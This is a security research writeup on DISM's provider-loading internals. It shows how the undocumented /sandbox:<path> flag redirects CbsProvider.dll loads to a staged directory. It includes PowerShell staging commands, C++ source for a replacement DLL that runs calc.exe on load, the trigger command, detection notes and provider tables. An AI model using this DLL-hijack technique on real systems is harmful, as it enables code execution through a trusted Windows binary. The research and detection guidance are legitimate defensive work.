Summary#
This is a continuation of the DismHost COM Host writeup.
That writeup stops at the point where DismHost.exe loads dismprov.dll and creates the DISM image-session object from it. The next interesting question is: once dismprov.dll is alive, how does DISM decide which provider DLL to load for a command like /get-packages?
We're going to explore that question in this writeup, and see how the sandbox path can be used to redirect provider loads from a copied DISM directory.
The Sandbox Path#
From the DismHost Temporary Directory Explained writeup, we know that the sandbox path when provided with a path, DISM treats it as a binaries/session path. AKA it will load the session binaries from that path instead of copying them into a GUID temp folder.
dism /online /get-packages /sandbox:C:\Temp\DismStageThis will come in handy later, because it means we can stage a full copy of the DISM directory in a location under our control, where we select which files to replace. In contrast, if we just use /sandbox without a path, we get the normal temp directory behavior where DISM creates a new GUID folder and copies everything in.
Let's keep this in mind as we look at how the provider loading works.
Picking Up After DismHost#
In the previous writeup, the flow looked like this:
dism.exe
-> dismcore.dll
-> DismHost.exe {runtime-clsid}
-> LoadLibraryExW(<image-session-location>\dismprov.dll)With a staged path example, this means:
DismHost.exe loads C:\Temp\DismStage\dismprov.dllAfter that, dismprov.dll initializes its provider store. During that setup it walks a built-in table of providers. Each row is basically:
provider name | provider dll name | session maskThe mask controls which session type the provider belongs to. In this table 0x1 is used for local-session providers, 0x2 is used for image-session providers, and 0x3 shows up for providers that can be used in both paths.
One of those rows is:
DISM Package Manager -> CbsProvider.dllThe package-manager row uses the image-session mask, so it is valid for the /online image-session path we are forcing with /sandbox:<path>.
The provider store combines its provider directory with the DLL name from the table and keeps that as the provider path. That means this row becomes the full path:
C:\Temp\DismStage\CbsProvider.dllLater, when a command actually asks for that provider, the provider loader calls LoadLibraryExW on that path and looks for the provider export:
DLLGetDISMProviderCLSIDKnowing this, we now have a theory for how to hijack provider loads with the sandbox path. Lets test it out.
Putting Everything Together#
The lab setup is simple, we start with a staging directory that has a full copy of the DISM directory (except for the provider we want to hijack):
$Stage = 'C:\Temp\DismStage'
New-Item -ItemType Directory -Force $Stage | Out-Null
Copy-Item "$env:SystemRoot\System32\Dism\*" $Stage -Recurse -ForceSince we want to hijack the package manager provider, we replace CbsProvider.dll with a dummy DLL that spawns calc.exe when loaded:
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <iostream>
extern "C" __declspec(dllexport) void PopCalc()
{
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcess(
TEXT("C:\\Windows\\System32\\calc.exe"),
(LPWSTR)TEXT(""),
NULL,
NULL,
FALSE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&si,
&pi
);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
PopCalc();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_DETACH:
break;
default:
break;
}
return true;
}Once the above DLL is compiled and renamed to CbsProvider.dll, we put it in the staging directory:
Copy-Item .\CbsProvider.dll $Stage -ForceNow we are ready to run the command:
dism /online /get-packages /sandbox:C:\Temp\DismStageWe should see the following prcess tree:
dism.exe
-> DismHost.exe
-> calc.exeKey point here is that
CbsProvider.dllis a target here because it is used for the/get-packagescommand. If we wanted to target a different command, we could look up which provider it uses and stage that one instead.
Detection Notes#
Things worth looking for:
dism.execommand lines containing/sandbox:<path>. This is an undocumented flag, so it is a strong signal that the sandbox path is being used. Note that/sandboxwithout a path is less interesting, since it is the default behavior for image sessions and can be used without staging.DismHost.exeexecuting from a user-writable or unusual directory. NormallyDismHost.exeshould be running from%SystemRoot%\System32\Dism\DismHost.exeor a GUID temp directory under the real temp path. If it is running from somewhere else, that could be a sign of staging.dismprov.dllloaded from a user-writable or unusual directory.- Provider DLLs such as
CbsProvider.dll,DmiProvider.dll, orWimProvider.dllloaded from a user-writable or unusual directory. - A full copy of
%SystemRoot%\System32\Dismappearing under a temp, downloads, or staging directory. - DISM log entries
C:\Windows\Logs\DISM\dism.logshowing provider loads from unexpected paths.
Appendix#
DISM Provider Table#
| Index | Name | DLL | Mask | Mask Meaning |
|---|---|---|---|---|
| 0 | AppxManager | AppxProvider.dll | 0x2 | image-session |
| 1 | AssocManager | AssocProvider.dll | 0x2 | image-session |
| 2 | CbmrManager | CbmrProvider.dll | 0x2 | image-session |
| 3 | DISM Package Manager | CbsProvider.dll | 0x2 | image-session |
| 4 | DriverManager | DmiProvider.dll | 0x2 | image-session |
| 5 | DUTManager | DUTProvider.dll | 0x1 | local-session |
| 6 | EdgeManager | EdgeProvider.dll | 0x2 | image-session |
| 7 | Embedded Manager | EmbeddedProvider.dll | 0x2 | image-session |
| 8 | DeployManager | DeployProvider.dll | 0x1 | local-session |
| 9 | FfuManager | FfuProvider.dll | 0x1 | local-session |
| 10 | FolderManager | FolderProvider.dll | 0x1 | local-session |
| 11 | GenericManager | GenericProvider.dll | 0x2 | image-session |
| 12 | IBSManager | IBSProvider.dll | 0x2 | image-session |
| 13 | GenericImagingManager | ImagingProvider.dll | 0x1 | local-session |
| 14 | IntlManager | IntlProvider.dll | 0x2 | image-session |
| 15 | DISMLogger | LogProvider.dll | 0x3 | both |
| 16 | MetaDeployManager | MetaDeployProvider.dll | 0x1 | local-session |
| 17 | MsiManager | MsiProvider.dll | 0x2 | image-session |
| 18 | MsuManager | MsuProvider.dll | 0x2 | image-session |
| 19 | OfflineSetupManager | OfflineSetupProvider.dll | 0x2 | image-session |
| 20 | OSImageManager | OSImageProvider.dll | 0x1 | local-session |
| 21 | OSServices | OSProvider.dll | 0x2 | image-session |
| 22 | PE Provider | PEProvider.dll | 0x2 | image-session |
| 23 | ProvManager | ProvProvider.dll | 0x2 | image-session |
| 24 | SetupPlatformManager | SetupPlatformProvider.dll | 0x2 | image-session |
| 25 | SiloedPackageManager | SiloedPackageProvider.dll | 0x1 | local-session |
| 26 | SmiManager | SmiProvider.dll | 0x2 | image-session |
| 27 | SysprepManager | SysprepProvider.dll | 0x2 | image-session |
| 28 | TemplateManager | TemplateProvider.dll | 0x2 | image-session |
| 29 | Edition Manager | TransmogProvider.dll | 0x2 | image-session |
| 30 | DISM Unattend Manager | UnattendProvider.dll | 0x2 | image-session |
| 31 | VHDManager | VHDProvider.dll | 0x1 | local-session |
| 32 | WimManager | WimProvider.dll | 0x1 | local-session |
CbsProvider Command Handlers#
CbsProvider.dll exposes a package-manager command table through CPackageManagerCLIHandler. These are the command handlers that make this provider interesting.
| DISM Command | CbsProvider Handler |
|---|---|
/Add-Package | CPackageManagerCLIHandler::ProcessCmdLine_AddPackage |
/Remove-Package | CPackageManagerCLIHandler::ProcessCmdLine_RemovePackage |
/Get-Packages | CPackageManagerCLIHandler::ProcessCmdLine_GetPackages |
/Get-PackageInfo | CPackageManagerCLIHandler::ProcessCmdLine_GetPackageInfo |
/Enable-Feature | CPackageManagerCLIHandler::ProcessCmdLine_EnableFeature |
/Disable-Feature | CPackageManagerCLIHandler::ProcessCmdLine_DisableFeature |
/Get-Features | CPackageManagerCLIHandler::ProcessCmdLine_GetFeatures |
/Get-FeatureInfo | CPackageManagerCLIHandler::ProcessCmdLine_GetFeatureInfo |
/Cleanup-Image | CPackageManagerCLIHandler::ProcessCmdLine_CleanupImage |
/IsServiceable | CPackageManagerCLIHandler::ProcessCmdLine_IsServiceable |
/Export-Source | CPackageManagerCLIHandler::ProcessCmdLine_ExportSource |
/Add-Capability | CPackageManagerCLIHandler::ProcessCmdLine_AddCapability |
/Remove-Capability | CPackageManagerCLIHandler::ProcessCmdLine_RemoveCapability |
/Get-Capabilities | CPackageManagerCLIHandler::ProcessCmdLine_GetCapabilities |
/Get-CapabilityInfo | CPackageManagerCLIHandler::ProcessCmdLine_GetCapabilityInfo |
/Get-ReservedStorageState | CPackageManagerCLIHandler::ProcessCmdLine_GetReservedStorageState |
/Set-ReservedStorageState | CPackageManagerCLIHandler::ProcessCmdLine_SetReservedStorageState |
/Add-Language | CPackageManagerCLIHandler::ProcessCmdLine_AddLanguage |
/Remove-Language | CPackageManagerCLIHandler::ProcessCmdLine_RemoveLanguage |
I might document these handlers in more detail later, and/or add additional ones for the other providers. For now, this table is just to show how the provider DLLs are connected to actual DISM commands.